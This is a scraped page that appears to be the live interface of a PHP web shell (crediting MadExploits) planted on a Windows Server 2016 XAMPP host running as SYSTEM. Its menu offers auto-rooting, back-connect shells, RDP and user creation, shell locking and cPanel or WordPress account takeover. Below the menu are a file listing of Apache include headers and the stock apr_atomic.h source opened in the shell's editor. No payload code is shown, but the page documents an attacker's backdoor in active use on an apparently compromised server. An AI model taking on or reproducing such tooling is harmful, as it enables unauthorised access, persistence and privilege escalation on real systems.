Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
apache /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
ap_compat.h
1.08
KB
-rw-rw-rw-
ap_config.h
6.65
KB
-rw-rw-rw-
ap_config_layout.h
1.21
KB
-rw-rw-rw-
ap_expr.h
14.09
KB
-rw-rw-rw-
ap_hooks.h
6.01
KB
-rw-rw-rw-
ap_listen.h
5.85
KB
-rw-rw-rw-
ap_mmn.h
35.22
KB
-rw-rw-rw-
ap_mpm.h
10.68
KB
-rw-rw-rw-
ap_provider.h
3.55
KB
-rw-rw-rw-
ap_regex.h
10.91
KB
-rw-rw-rw-
ap_regkey.h
9.18
KB
-rw-rw-rw-
ap_release.h
3.15
KB
-rw-rw-rw-
ap_slotmem.h
7.26
KB
-rw-rw-rw-
ap_socache.h
9.39
KB
-rw-rw-rw-
apache_noprobes.h
15.93
KB
-rw-rw-rw-
apr.h
18.29
KB
-rw-rw-rw-
apr_allocator.h
6.25
KB
-rw-rw-rw-
apr_anylock.h
5.06
KB
-rw-rw-rw-
apr_atomic.h
6.25
KB
-rw-rw-rw-
apr_base64.h
3.86
KB
-rw-rw-rw-
apr_buckets.h
64.6
KB
-rw-rw-rw-
apr_crypto.h
20.18
KB
-rw-rw-rw-
apr_cstr.h
11.42
KB
-rw-rw-rw-
apr_date.h
3.57
KB
-rw-rw-rw-
apr_dbd.h
23.88
KB
-rw-rw-rw-
apr_dbm.h
8.62
KB
-rw-rw-rw-
apr_dso.h
2.73
KB
-rw-rw-rw-
apr_encode.h
24.52
KB
-rw-rw-rw-
apr_env.h
2.12
KB
-rw-rw-rw-
apr_errno.h
55.08
KB
-rw-rw-rw-
apr_escape.h
17.65
KB
-rw-rw-rw-
apr_escape_test_char.h
1.4
KB
-rw-rw-rw-
apr_file_info.h
17.59
KB
-rw-rw-rw-
apr_file_io.h
43.11
KB
-rw-rw-rw-
apr_fnmatch.h
6.23
KB
-rw-rw-rw-
apr_general.h
7.36
KB
-rw-rw-rw-
apr_getopt.h
6
KB
-rw-rw-rw-
apr_global_mutex.h
7.38
KB
-rw-rw-rw-
apr_hash.h
10.36
KB
-rw-rw-rw-
apr_hooks.h
12.71
KB
-rw-rw-rw-
apr_inherit.h
2.14
KB
-rw-rw-rw-
apr_ldap.h
5.76
KB
-rw-rw-rw-
apr_ldap_init.h
5.81
KB
-rw-rw-rw-
apr_ldap_option.h
8.65
KB
-rw-rw-rw-
apr_ldap_rebind.h
3.19
KB
-rw-rw-rw-
apr_ldap_url.h
3.83
KB
-rw-rw-rw-
apr_lib.h
8.47
KB
-rw-rw-rw-
apr_md4.h
4.55
KB
-rw-rw-rw-
apr_md5.h
6.37
KB
-rw-rw-rw-
apr_memcache.h
17.25
KB
-rw-rw-rw-
apr_mmap.h
5.18
KB
-rw-rw-rw-
apr_network_io.h
36.94
KB
-rw-rw-rw-
apr_optional.h
2.8
KB
-rw-rw-rw-
apr_optional_hooks.h
3.9
KB
-rw-rw-rw-
apr_perms_set.h
1.93
KB
-rw-rw-rw-
apr_poll.h
21.04
KB
-rw-rw-rw-
apr_pools.h
31.73
KB
-rw-rw-rw-
apr_portable.h
20.56
KB
-rw-rw-rw-
apr_proc_mutex.h
7.04
KB
-rw-rw-rw-
apr_queue.h
4.12
KB
-rw-rw-rw-
apr_random.h
5.07
KB
-rw-rw-rw-
apr_redis.h
16.07
KB
-rw-rw-rw-
apr_reslist.h
7.19
KB
-rw-rw-rw-
apr_ring.h
19.07
KB
-rw-rw-rw-
apr_rmm.h
4.8
KB
-rw-rw-rw-
apr_sdbm.h
6.14
KB
-rw-rw-rw-
apr_sha1.h
3.91
KB
-rw-rw-rw-
apr_shm.h
9.48
KB
-rw-rw-rw-
apr_signal.h
2.8
KB
-rw-rw-rw-
apr_siphash.h
6.16
KB
-rw-rw-rw-
apr_skiplist.h
14.56
KB
-rw-rw-rw-
apr_strings.h
14.92
KB
-rw-rw-rw-
apr_strmatch.h
2.69
KB
-rw-rw-rw-
apr_support.h
1.65
KB
-rw-rw-rw-
apr_tables.h
19.39
KB
-rw-rw-rw-
apr_thread_cond.h
5.53
KB
-rw-rw-rw-
apr_thread_mutex.h
4.51
KB
-rw-rw-rw-
apr_thread_pool.h
11.14
KB
-rw-rw-rw-
apr_thread_proc.h
36.11
KB
-rw-rw-rw-
apr_thread_rwlock.h
4.78
KB
-rw-rw-rw-
apr_time.h
7.62
KB
-rw-rw-rw-
apr_uri.h
6.61
KB
-rw-rw-rw-
apr_user.h
5.34
KB
-rw-rw-rw-
apr_uuid.h
2.13
KB
-rw-rw-rw-
apr_version.h
5.44
KB
-rw-rw-rw-
apr_want.h
3.01
KB
-rw-rw-rw-
apr_xlate.h
6.42
KB
-rw-rw-rw-
apr_xml.h
12.54
KB
-rw-rw-rw-
apu.h
4.76
KB
-rw-rw-rw-
apu_errno.h
5.49
KB
-rw-rw-rw-
apu_version.h
4.33
KB
-rw-rw-rw-
apu_want.h
1.55
KB
-rw-rw-rw-
cache_common.h
2.02
KB
-rw-rw-rw-
expat.h
41.5
KB
-rw-rw-rw-
heartbeat.h
1.62
KB
-rw-rw-rw-
http_config.h
57.39
KB
-rw-rw-rw-
http_connection.h
6.4
KB
-rw-rw-rw-
http_core.h
35.69
KB
-rw-rw-rw-
http_log.h
36.82
KB
-rw-rw-rw-
http_main.h
3.25
KB
-rw-rw-rw-
http_protocol.h
39.38
KB
-rw-rw-rw-
http_request.h
25.86
KB
-rw-rw-rw-
http_vhost.h
4.05
KB
-rw-rw-rw-
httpd.h
90.22
KB
-rw-rw-rw-
mod_auth.h
4.55
KB
-rw-rw-rw-
mod_cache.h
7.27
KB
-rw-rw-rw-
mod_cgi.h
2.5
KB
-rw-rw-rw-
mod_core.h
3.43
KB
-rw-rw-rw-
mod_dav.h
95.29
KB
-rw-rw-rw-
mod_dbd.h
4.18
KB
-rw-rw-rw-
mod_http2.h
3.7
KB
-rw-rw-rw-
mod_include.h
4.01
KB
-rw-rw-rw-
mod_log_config.h
2.5
KB
-rw-rw-rw-
mod_proxy.h
55.11
KB
-rw-rw-rw-
mod_request.h
1.65
KB
-rw-rw-rw-
mod_rewrite.h
1.41
KB
-rw-rw-rw-
mod_so.h
1.23
KB
-rw-rw-rw-
mod_ssl.h
4.99
KB
-rw-rw-rw-
mod_ssl_openssl.h
4.79
KB
-rw-rw-rw-
mod_status.h
2.45
KB
-rw-rw-rw-
mod_watchdog.h
7.55
KB
-rw-rw-rw-
mpm_common.h
17.11
KB
-rw-rw-rw-
os.h
4.57
KB
-rw-rw-rw-
scoreboard.h
9.98
KB
-rw-rw-rw-
util_cfgtree.h
3.17
KB
-rw-rw-rw-
util_charset.h
2.28
KB
-rw-rw-rw-
util_cookies.h
4.99
KB
-rw-rw-rw-
util_ebcdic.h
2.78
KB
-rw-rw-rw-
util_fcgi.h
10.02
KB
-rw-rw-rw-
util_filter.h
26.46
KB
-rw-rw-rw-
util_ldap.h
18.36
KB
-rw-rw-rw-
util_md5.h
2.19
KB
-rw-rw-rw-
util_mutex.h
9.29
KB
-rw-rw-rw-
util_script.h
9.8
KB
-rw-rw-rw-
util_time.h
4.11
KB
-rw-rw-rw-
util_varbuf.h
8.28
KB
-rw-rw-rw-
util_xml.h
1.36
KB
-rw-rw-rw-
zconf.h
16.44
KB
-rw-rw-rw-
zlib.h
95.85
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : apr_atomic.h
/* Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef APR_ATOMIC_H #define APR_ATOMIC_H /** * @file apr_atomic.h * @brief APR Atomic Operations */ #include "apr.h" #include "apr_pools.h" #ifdef __cplusplus extern "C" { #endif /** * @defgroup apr_atomic Atomic Operations * @ingroup APR * @{ */ /** * this function is required on some platforms to initialize the * atomic operation's internal structures * @param p pool * @return APR_SUCCESS on successful completion * @remark Programs do NOT need to call this directly. APR will call this * automatically from apr_initialize(). * @internal */ APR_DECLARE(apr_status_t) apr_atomic_init(apr_pool_t *p); /* * Atomic operations on 32-bit values * Note: Each of these functions internally implements a memory barrier * on platforms that require it */ /** * atomically read an apr_uint32_t from memory * @param mem the pointer */ APR_DECLARE(apr_uint32_t) apr_atomic_read32(volatile apr_uint32_t *mem); /** * atomically set an apr_uint32_t in memory * @param mem pointer to the object * @param val value that the object will assume */ APR_DECLARE(void) apr_atomic_set32(volatile apr_uint32_t *mem, apr_uint32_t val); /** * atomically add 'val' to an apr_uint32_t * @param mem pointer to the object * @param val amount to add * @return old value pointed to by mem */ APR_DECLARE(apr_uint32_t) apr_atomic_add32(volatile apr_uint32_t *mem, apr_uint32_t val); /** * atomically subtract 'val' from an apr_uint32_t * @param mem pointer to the object * @param val amount to subtract */ APR_DECLARE(void) apr_atomic_sub32(volatile apr_uint32_t *mem, apr_uint32_t val); /** * atomically increment an apr_uint32_t by 1 * @param mem pointer to the object * @return old value pointed to by mem */ APR_DECLARE(apr_uint32_t) apr_atomic_inc32(volatile apr_uint32_t *mem); /** * atomically decrement an apr_uint32_t by 1 * @param mem pointer to the atomic value * @return zero if the value becomes zero on decrement, otherwise non-zero */ APR_DECLARE(int) apr_atomic_dec32(volatile apr_uint32_t *mem); /** * compare an apr_uint32_t's value with 'cmp'. * If they are the same swap the value with 'with' * @param mem pointer to the value * @param with what to swap it with * @param cmp the value to compare it to * @return the old value of *mem */ APR_DECLARE(apr_uint32_t) apr_atomic_cas32(volatile apr_uint32_t *mem, apr_uint32_t with, apr_uint32_t cmp); /** * exchange an apr_uint32_t's value with 'val'. * @param mem pointer to the value * @param val what to swap it with * @return the old value of *mem */ APR_DECLARE(apr_uint32_t) apr_atomic_xchg32(volatile apr_uint32_t *mem, apr_uint32_t val); /* * Atomic operations on 64-bit values * Note: Each of these functions internally implements a memory barrier * on platforms that require it */ /** * atomically read an apr_uint64_t from memory * @param mem the pointer */ APR_DECLARE(apr_uint64_t) apr_atomic_read64(volatile apr_uint64_t *mem); /** * atomically set an apr_uint64_t in memory * @param mem pointer to the object * @param val value that the object will assume */ APR_DECLARE(void) apr_atomic_set64(volatile apr_uint64_t *mem, apr_uint64_t val); /** * atomically add 'val' to an apr_uint64_t * @param mem pointer to the object * @param val amount to add * @return old value pointed to by mem */ APR_DECLARE(apr_uint64_t) apr_atomic_add64(volatile apr_uint64_t *mem, apr_uint64_t val); /** * atomically subtract 'val' from an apr_uint64_t * @param mem pointer to the object * @param val amount to subtract */ APR_DECLARE(void) apr_atomic_sub64(volatile apr_uint64_t *mem, apr_uint64_t val); /** * atomically increment an apr_uint64_t by 1 * @param mem pointer to the object * @return old value pointed to by mem */ APR_DECLARE(apr_uint64_t) apr_atomic_inc64(volatile apr_uint64_t *mem); /** * atomically decrement an apr_uint64_t by 1 * @param mem pointer to the atomic value * @return zero if the value becomes zero on decrement, otherwise non-zero */ APR_DECLARE(int) apr_atomic_dec64(volatile apr_uint64_t *mem); /** * compare an apr_uint64_t's value with 'cmp'. * If they are the same swap the value with 'with' * @param mem pointer to the value * @param with what to swap it with * @param cmp the value to compare it to * @return the old value of *mem */ APR_DECLARE(apr_uint64_t) apr_atomic_cas64(volatile apr_uint64_t *mem, apr_uint64_t with, apr_uint64_t cmp); /** * exchange an apr_uint64_t's value with 'val'. * @param mem pointer to the value * @param val what to swap it with * @return the old value of *mem */ APR_DECLARE(apr_uint64_t) apr_atomic_xchg64(volatile apr_uint64_t *mem, apr_uint64_t val); /** * compare the pointer's value with cmp. * If they are the same swap the value with 'with' * @param mem pointer to the pointer * @param with what to swap it with * @param cmp the value to compare it to * @return the old value of the pointer */ APR_DECLARE(void*) apr_atomic_casptr(volatile void **mem, void *with, const void *cmp); /** * exchange a pair of pointer values * @param mem pointer to the pointer * @param with what to swap it with * @return the old value of the pointer */ APR_DECLARE(void*) apr_atomic_xchgptr(volatile void **mem, void *with); /** @} */ #ifdef __cplusplus } #endif #endif /* !APR_ATOMIC_H */
Close